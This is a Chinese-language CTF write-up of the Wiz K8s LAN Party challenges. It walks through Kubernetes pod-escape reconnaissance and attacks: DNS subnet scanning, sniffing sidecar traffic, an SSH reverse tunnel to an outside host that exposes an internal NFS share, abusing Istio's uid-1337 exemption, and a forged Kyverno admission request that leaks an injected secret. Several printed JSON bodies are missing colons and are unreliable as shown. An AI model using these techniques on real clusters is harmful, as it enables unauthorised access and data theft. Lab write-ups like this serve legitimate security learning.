K8SLanParty Writesup

admin 2024年3月22日08:22:47评论32 views字数 17484阅读58分16秒阅读模式

点击蓝字

K8SLanParty Writesup

关注我们

声明

本文作者:Esonhugh

本文字数:14572字

阅读时长:约38分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

K8SLanParty Writesup

这是一个 Wiz 主办的 k8s 局域网挑战赛,主要基于 k8s 的安全挑战,以容器内部渗透、k8s 集群渗透为主。参赛选手需要基于 K8S 中的容器 shell 进行信息获取或者实现一些特定的攻击,以获取到 flag。

Challenge1:

Topic: DNSing with the stars

You have compromised a Kubernetes pod, and your next objective is to compromise other internal services further.

As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have preloaded your machine with dnscan to ease this process for further challenges.

All the flags in the challenge follow the same format: wiz_k8s_lan_party{*}

Challenge value: 10 pts.

Solution

这是一个良好的开始,他们提供了一个工具 dnscan,对集群内网进行一个批量的扫描,可以用来发现一些“隐藏的”(其实是未被隔离的)服务。

这里普及一些 K8S 基础知识,K8S 中的服务发现是通过 DNS 来实现的,每个 Service 都会有一个 DNS 名称,格式为:<service-name>.<namespace>.svc.cluster.local。所以我们可以通过 DNS 反向查询某些地址来发现集群内的服务。而由于 ip 地址具有连续性,所以导致我们可以通过遍历 ip 地址来发现集群内的服务。

当然了 pod 也有类似的 DNS 名称,格式为:<pod-ip>.<namespace>.pod.cluster.local

需要注意的是,这里的 DNS 结尾不一定为 cluster.local,而是由集群配置的 DNS 后缀决定的。

通常在默认情况下一般为 cluster.local

但是形如 CDK 的工具中存在另一种手法,即通过 any.any.svc.cluster.local 和 any.any.any.svc.cluster.local 地址的 SRV 记录的方式来进行服务发现。

不过这里不太可用。细节文档参考 DNS/specification.md

当然我们这里需要略微确定一下 IP 地址大概的范围,这里检查有很多种办法

  1. env 里看 KUBERNETES_SERVICE_HOST
  2. 查看本地的文件 /etc/resolv.conf 来获取 DNS 服务器的地址
  3. dig 或者 nslookup 查询一下 kubernetes.default.svc.cluster.local [或者任意]的地址 检查 DNS 服务器的地址
  4. /etc/host 或 ARP 表中查看一下存在的 IP 地址
  5. 不推荐 ifconfig/ip addr show 这种方式,因为可能会有多个网卡或者存在 sidecar 的情况

既然官方给我们提供了 dnscan,那么我们就直接使用 dnscan 来进行扫描。

dnscan -subnet 10.100.0.1/16   

10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local.

可以得到 一个 service 的地址,直接 curl 一下即可得到 flag。

curl getflag-service.k8s-lan-party.svc.cluster.local

flag

wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}

Challenge2:

Topic: Hello?

Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.

Solution

这里是被 SideCar 了,而且 检查 api-resource 会发现存在 istio 的 network 模式 SideCar。

既然是网络模式,那么网卡会被共享,按照题设,说明还有一个隐藏的服务,在发送 flag,那么我们可以通过 tcpdump 来进行抓包。

just listen

tcpdump -A -vvv 

# 我们可以在数据流中看到被发送的 http flag


.....%. 
16:53:42.347436 IP (tos 0x0, ttl 127, id 56182, offset 0, flags [DF], proto TCP (6), length 266)
    192.168.3.227.54172 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [P.], cksum 0x7b67 (incorrect -> 0xed19), seq 1:215, ack 1, win 502, options [nop,nop,TS val 4072934817 ecr 3727030816], length 214: HTTP, length: 214
        POST / HTTP/1.1
        Host: reporting-service
        User-Agent: curl/7.64.0
        Accept: */*
        Content-Length: 63
        Content-Type: application/x-www-form-urlencoded

        wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}
E..
.v@.........
d.{...Pg..T
.+V....{g.....
.....%. POST / HTTP/1.1
Host: reporting-service
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
....

flag

wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}

Challenge3:

Topic: Exposed File Share

The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦‍️.

Solution 1

这里是一个 NFS 的挂载,我们可以通过 mount 来挂载这个 NFS 文件系统,然后直接读取 flag。

无论是

  1. mount
  2. df -h
  3. cat /etc/mtab

都可以发现 /efs 目录为 远程 aws efs 挂载 挂载版本为 nfs 4.1

这里需要一些流量转发上的小寄巧 借用本地的 ssh

这里需要关闭 Host Key 检查,因为是 ReadOnly Fs ,会创建不了文件

ssh -R 2049:fs-xxxxx.efs.us-west-1.amazonaws.com:2049 -Nf root@your-public-ip -o StrictHostKeyChecking=no

在我们自己的机器上挂载这个 nfs 文件系统

mount -t nfs localhost:/ /mnt
cd /mnt
cat flag.txt

Solution 2

赛后发现 这道题目应该有更简单的做法,即为 nfs-cat 阅读文档 https://github.com/sahlberg/libnfs 可以发现 nfs url 支持填写参数,我们可以通过添加 nfs://fs-xxxx.efs.us-west-1.amazonaws.com:2049//flag.txt?version=4&uid=0&gid=0 的方法来获取 flag

flag

wiz_k8s_lan_party{old-school-network-file-shares-infiltrated-the-cloud!}

Challenge4:

Topic: The Beauty and The Ist

Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don't abuse this power; use it responsibly and with caution.

Challenge value: 10 pts.

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: istio-get-flag
  namespace: k8s-lan-party
spec:
  action: DENY
  selector:
    matchLabels:
      app: "{flag-pod-name}"
  rules:
  - from:
    - source:
        namespaces: ["k8s-lan-party"]
    to:
    - operation:
        methods: ["POST", "GET"]

Solution

策略中禁止了 get post 方法的请求 而切换成其他 method 会导致400 bad request 的问题 这里是利用 istio 的特性进行策略绕过的题

查看 issue 可以发现,这个 Issue#4286 中提到,istio 的 Envoy 会在 uid 为 1337 的 user 下运行,而且不受到 istio 的网络策略管理的控制。

通过查看 /etc/passwd 我们可以发现 uid 为 1337 的用户正是 istio ,那么我们可以通过这个用户来进行一些操作。

dnscan -subnet 10.100.*.* 
# 这里可以发现一个服务
10.100.224.159 -> istio-protected-pod-service.k8s-lan-party.svc.cluster.local.

su istio

curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local

flag

wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}

Challenge5:

Topic: Who will guard the guardians?

Where pods are being mutated by a foreign regime, one could abuse its bureaucracy and leak sensitive information from the administrative services.

Challenge value: 10 pts.

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: apply-flag-to-env
  namespace: sensitive-ns
spec:
  rules:
    - name: inject-env-vars
      match:
        resources:
          kinds:
            - Pod
      mutate:
        patchStrategicMerge:
          spec:
            containers:
              - name: "*"
                env:
                  - name: FLAG
                    value: "{flag}"

Solution

没事先扫一波,我们可以发现一些服务

10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.

并且已知和 kyverno 相关的服务,那么我们可以通过 kyverno 来进行一些操作。

我自己在本地自己部署了一套 kyverno,同时也下了 kyverno 的代码。查看部署的 service ,发现 kyverno 的服务端口为 443, 而其他的 metrics 服务端口为 8000。

分析可以看到 代码中存在一个 mutate 的接口,也就是 https://kyverno-svc.kyverno.svc.cluster.local/mutate,并且我们可以通过这个接口来进行一些操作。

直接使用 curl 进行检查,发现我们可以直接访问到这个接口。

当我们在使用 GET 请求的时候,webhook 会直接报告这个端口不支持 GET 请求,只支持 OPTIONS 和 POST 方法,说明 kyverno 默认没有开启对 APIServer 的验证,也说明该端口是正常服务的 HTTP。

同时在题目中,我们的策略中存在一个 mutate 的规则。并且在检查时,会将 namespace=sensitive-ns 里的 pod 变更时,会将 FLAG 注入到环境变量中。

我们可以伪造该流程中的 APIServer 直接向 Kyverno 发送请求,来获得 Patch 和其中的 flag

文件 admission.json from https://github.com/snowdrop/kubernetes-info-webhook/blob/master/src/test/resources/admission-review.json

curl -v -k -X POST -H "Content-Type: application/json" 
     -d @admission.json 
     https://kyverno-svc.kyverno.svc.cluster.local/mutate

如果加入 --http1.1 则会无响应 如果删除 -H "Content-Type: application/json" 则会返回 invalid content-type 如果没有 -k 则会出现证书问题

种种迹象表明,这里的 kyverno 没有进行 apiserver 的对端验证。

发现,http2 stream 断掉了。同时,通过本地尝试也是断掉 http2 stream,在 log 中发现

net/http.(*http2serverConn).runHandler.func1()
 net/http/h2_bundle.go:6186 +0x13b
panic({0x34fc420?, 0x5fcd800?})
 runtime/panic.go:914 +0x21f
github.com/kyverno/kyverno/pkg/webhooks/handlers.AdmissionHandler.WithMetrics.AdmissionHandler.WithTrace.func1({_, _}, {{_, _}, _}, {{{0xc0011c70e00x24}, {{0x00x0}, {0xc000c0a896, ...}, ...}, ...}, ...}, ...)
 github.com/kyverno/kyverno/pkg/webhooks/handlers/trace.go:74 +0x7ad
github.com/kyverno/kyverno/pkg/webhooks/handlers.AdmissionHandler.WithAdmission.AdmissionHandler.withAdmission.func1({0x41274000xc001673a90}, 0xc000e30c00)
 github.com/kyverno/kyverno/pkg/webhooks/handlers/admission.go:53 +0x709

查看 https://github.com/kyverno/kyverno/blob/ad62014b33a2cdd5a40ef8dfb8cd4bd1eb014410/pkg/webhooks/handlers/trace.go#L65-L91

可以发现 kyverno 未对请求进行处理,直接进行了打印。导致访问到空指针的kind 属性,最后导致了 panic。

tracing.RequestRequestKindGroupKey.String(tracing.StringValue(request.RequestKind.Group)),
    tracing.RequestRequestKindVersionKey.String(tracing.StringValue(request.RequestKind.Version)),
    tracing.RequestRequestKindKindKey.String(tracing.StringValue(request.RequestKind.Kind)),
    tracing.RequestRequestSubResourceKey.String(tracing.StringValue(request.RequestSubResource)),
    tracing.RequestResourceGroupKey.String(tracing.StringValue(request.Resource.Group)),
    tracing.RequestResourceVersionKey.String(tracing.StringValue(request.Resource.Version)),
    tracing.RequestResourceResourceKey.String(tracing.StringValue(request.Resource.Resource)),
    tracing.RequestRequestResourceGroupKey.String(tracing.StringValue(request.RequestResource.Group)),
    tracing.RequestRequestResourceVersionKey.String(tracing.StringValue(request.RequestResource.Version)),
    tracing.RequestRequestResourceResourceKey.String(tracing.StringValue(request.RequestResource.Resource)),

request.RequestKind 和 request.RequestResource 都是空指针,导致了 panic。

这里我们加上这两个之后,会报错 Kind 存在问题。需要在 Object 中加入"kind": "Namespace",

这样就可以,正常得到返回和 patches 了

json 如下

{
    "kind""AdmissionReview",
    "apiVersion""admission.k8s.io/v1beta1",
    "request": {
      "name""nginx",
      "uid""0df28fbd-5f5f-11e8-bc74-36e6bb280816",
      "kind": {
        "group""",
        "version""v1",
        "kind""Pod"
      },
      "requestKind": {
        "group""",
        "version""v1",
        "kind""Pod"
      },
      "requestResource": {
        "group""",
        "version""v1",
        "kind""Pod"
      },
      "resource": {
        "group""",
        "version""v1",
        "resource""pods"
      },
      "namespace""sensitive-ns",
      "operation""CREATE",
      "userInfo": {
        "username""system:serviceaccount:kube-system:replicaset-controller",
        "uid""a7e0ab33-5f29-11e8-8a3c-36e6bb280816",
        "groups": [
          "system:serviceaccounts",
          "system:serviceaccounts:kube-system",
          "system:authenticated"
        ]
      },
      "object": {
        "kind""Namespace"
        "metadata": {
          "generateName""nginx-deployment-6c54bd5869-",
          "creationTimestamp"null,
          "labels": {
            "app""nginx",
            "pod-template-hash""2710681425"
          },
          "annotations": {
            "openshift.io/scc""restricted"
          },
          "ownerReferences": [
            {
              "apiVersion""app/v1",
              "kind""ReplicaSet",
              "name""nginx-deployment-6c54bd5869",
              "uid""16c2b355-5f5d-11e8-ac91-36e6bb280816",
              "controller"true,
              "blockOwnerDeletion"true
            }
          ]
        },
        "spec": {
          "containers": [
            {
              "name""nginx",
              "image""nginx:1.7.9",
              "env": [
                {
                  "name""MYSQL_ROOT_PASSWORD",
                  "value""password"
                }
              ],
              "ports": [
                {
                  "containerPort"80,
                  "protocol""TCP"
                }
              ],
              "resources": {},
              "terminationMessagePath""/dev/termination-log",
              "terminationMessagePolicy""File",
              "imagePullPolicy""IfNotPresent",
              "securityContext": {
                "capabilities": {
                  "drop": [
                    "KILL",
                    "MKNOD",
                    "SETGID",
                    "SETUID"
                  ]
                },
                "runAsUser"1000080000
              }
            }
          ],
          "restartPolicy""Always",
          "terminationGracePeriodSeconds"30,
          "dnsPolicy""ClusterFirst",
          "serviceAccountName""default",
          "serviceAccount""default",
          "securityContext": {
            "seLinuxOptions": {
              "level""s0:c9,c4"
            },
            "fsGroup"1000080000
          },
          "imagePullSecrets": [
            {
              "name""default-dockercfg-kksdv"
            }
          ],
          "schedulerName""default-scheduler"
        },
        "status": {}
      },
      "oldObject"null
    }
  }

得到 patch

{
  "kind""AdmissionReview",
  "apiVersion""admission.k8s.io/v1beta1",
  "request": {
    "uid""0df28fbd-5f5f-11e8-bc74-36e6bb280816",
    "kind": {
      "group""",
      "version""v1",
      "kind""Pod"
    },
    "resource": {
      "group""",
      "version""v1",
      "resource""pods"
    },
    "requestKind": {
      "group""",
      "version""v1",
      "kind""Pod"
    },
    "requestResource": {
      "group""",
      "version""v1",
      "resource"""
    },
    "name""nginx",
    "namespace""default",
    "operation""CREATE",
    "userInfo": {
      "username""system:serviceaccount:kube-system:replicaset-controller",
      "uid""a7e0ab33-5f29-11e8-8a3c-36e6bb280816",
      "groups": [
        "system:serviceaccounts",
        "system:serviceaccounts:kube-system",
        "system:authenticated"
      ]
    },
    "object": {
      "kind""Namespace",
      "metadata": {
        "generateName""nginx-deployment-6c54bd5869-",
        "creationTimestamp": null,
        "labels": {
          "app""nginx",
          "pod-template-hash""2710681425"
        },
        "annotations": {
          "openshift.io/scc""restricted"
        },
        "ownerReferences": [
          {
            "apiVersion""app/v1",
            "kind""ReplicaSet",
            "name""nginx-deployment-6c54bd5869",
            "uid""16c2b355-5f5d-11e8-ac91-36e6bb280816",
            "controller"true,
            "blockOwnerDeletion"true
          }
        ]
      },
      "spec": {
        "containers": [
          {
            "name""nginx",
            "image""nginx:1.7.9",
            "env": [
              {
                "name""MYSQL_ROOT_PASSWORD",
                "value""password"
              }
            ],
            "ports": [
              {
                "containerPort": 80,
                "protocol""TCP"
              }
            ],
            "resources": {},
            "terminationMessagePath""/dev/termination-log",
            "terminationMessagePolicy""File",
            "imagePullPolicy""IfNotPresent",
            "securityContext": {
              "capabilities": {
                "drop": [
                  "KILL",
                  "MKNOD",
                  "SETGID",
                  "SETUID"
                ]
              },
              "runAsUser": 1000080000
            }
          }
        ],
        "restartPolicy""Always",
        "terminationGracePeriodSeconds": 30,
        "dnsPolicy""ClusterFirst",
        "serviceAccountName""default",
        "serviceAccount""default",
        "securityContext": {
          "seLinuxOptions": {
            "level""s0:c9,c4"
          },
          "fsGroup": 1000080000
        },
        "imagePullSecrets": [
          {
            "name""default-dockercfg-kksdv"
          }
        ],
        "schedulerName""default-scheduler"
      },
      "status": {}
    },
    "oldObject": null,
    "options": null
  },
  "response": {
    "uid""0df28fbd-5f5f-11e8-bc74-36e6bb280816",
    "allowed"true,
    "patch""W3sib3AiOiJhZGQiLCJwYXRoIjoiL3NwZWMvY29udGFpbmVycy8xIiwidmFsdWUiOnsiZW52IjpbeyJuYW1lIjoiTVlTUUxfUk9PVF9QQVNTV09SRCIsInZhbHVlIjoicGFzc3dvcmQifV0sImltYWdlIjoibmdpbng6MS43LjkiLCJpbWFnZVB1bGxQb2xpY3kiOiJJZk5vdFByZXNlbnQiLCJuYW1lIjoibmdpbngiLCJwb3J0cyI6W3siY29udGFpbmVyUG9ydCI6ODAsInByb3RvY29sIjoiVENQIn1dLCJyZXNvdXJjZXMiOnt9LCJzZWN1cml0eUNvbnRleHQiOnsiY2FwYWJpbGl0aWVzIjp7ImRyb3AiOlsiS0lMTCIsIk1LTk9EIiwiU0VUR0lEIiwiU0VUVUlEIl19LCJydW5Bc1VzZXIiOjEwMDAwODAwMDB9LCJ0ZXJtaW5hdGlvbk1lc3NhZ2VQYXRoIjoiL2Rldi90ZXJtaW5hdGlvbi1sb2ciLCJ0ZXJtaW5hdGlvbk1lc3NhZ2VQb2xpY3kiOiJGaWxlIn19LCB7Im9wIjoicmVwbGFjZSIsInBhdGgiOiIvc3BlYy9jb250YWluZXJzLzAvZW52LzAvbmFtZSIsInZhbHVlIjoiRkxBRyJ9LCB7Im9wIjoicmVwbGFjZSIsInBhdGgiOiIvc3BlYy9jb250YWluZXJzLzAvZW52LzAvdmFsdWUiLCJ2YWx1ZSI6IntmbGFnfSJ9LCB7Im9wIjoicmVwbGFjZSIsInBhdGgiOiIvc3BlYy9jb250YWluZXJzLzAvbmFtZSIsInZhbHVlIjoiKiJ9LCB7Im9wIjoicmVtb3ZlIiwicGF0aCI6Ii9zcGVjL2NvbnRhaW5lcnMvMC9zZWN1cml0eUNvbnRleHQifSwgeyJvcCI6InJlbW92ZSIsInBhdGgiOiIvc3BlYy9jb250YWluZXJzLzAvdGVybWluYXRpb25NZXNzYWdlUGF0aCJ9LCB7Im9wIjoicmVtb3ZlIiwicGF0aCI6Ii9zcGVjL2NvbnRhaW5lcnMvMC9pbWFnZVB1bGxQb2xpY3kifSwgeyJvcCI6InJlbW92ZSIsInBhdGgiOiIvc3BlYy9jb250YWluZXJzLzAvaW1hZ2UifSwgeyJvcCI6InJlbW92ZSIsInBhdGgiOiIvc3BlYy9jb250YWluZXJzLzAvcG9ydHMifSwgeyJvcCI6InJlbW92ZSIsInBhdGgiOiIvc3BlYy9jb250YWluZXJzLzAvcmVzb3VyY2VzIn0sIHsib3AiOiJyZW1vdmUiLCJwYXRoIjoiL3NwZWMvY29udGFpbmVycy8wL3Rlcm1pbmF0aW9uTWVzc2FnZVBvbGljeSJ9XQ==",
    "patchType""JSONPatch"
  }
}

flag

wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}

After

赛后,经过总结和复盘,我产出了工具 K8Spider https://github.com/Esonhugh/k8spider 。这个工具启发于整个比赛期间多次使用的 dnscan,并且添加了多种基于 dns 发现服务的后利用手段以及多线程爆破支持。

以下是我添加的特性

  1. 我保留了原本的 dnscan 只有 利用 PTR 记录 (dns 反查 dig -x <ip>) 来获取 service domain 的基本功能
  2. 通过亲自实验,发现不同于文档所说 service srv 记录在无 proto 等属性时,也可以进行查询,会输出所有的有效端口
pod-shell# nslookup -type=srv argo-cd-1678019115-server.argocd.svc.cluster.local
Server:         10.43.0.10
Address:        10.43.0.10:53

argo-cd-1678019115-server.argocd.svc.cluster.local      service = 0 50 80 argo-cd-1678019115-server.argocd.svc.cluster.local
argo-cd-1678019115-server.argocd.svc.cluster.local      service = 0 50 443 argo-cd-1678019115-server.argocd.svc.cluster.local

此外我额外添加了 多线程和流水线特性,在 batch 爆破模式下会被子网切割后进行多线程爆破。通过流水线在得到服务的 domain 之后,直接送达查询获取 SRV 的处理线程中。最后再通过流水线,进行结果收集和集中打印。

  1. 通过翻阅文档发现,dns 还支持 axfr 域传输的特性,假设 pod 或者 kubernetes 内网被允许 axfr ,那么我们可以通过这个手段得到所有的服务记录和端口记录。
  2. 已被废弃的 wildcard dns query,虽然这个查询一开始的目的就是用于服务发现的,但是由于渗透测试社区对此滥用过多,所以已经在 https://github.com/coredns/coredns/issues/4984 issue 中被 coredns 官方重视,并且正式废弃掉了。
云安全小组正在招新~

持续研究云服务(aliyun、aws、qcloud、azure)等、云原生安全(容器安全、k8s等)。研究各种云利用绕过方式,并持续维护团队内部云安全利用工具(CF内部版)。

  1. 熟知云场景的各种攻击技巧和方法
  2. 持续研究云原生、容器安全相关

发送简历至 admin(AT)wgpsec.org  (AT替换为@)

作者

K8SLanParty Writesup

Esonhugh

Esonhugh is computer noob in noobs.

原文始发于微信公众号(WgpSec狼组安全团队):K8SLanParty Writesup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月22日08:22:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   K8SLanParty Writesuphttps://cn-sec.com/archives/2594183.html

发表评论

匿名网友 填写信息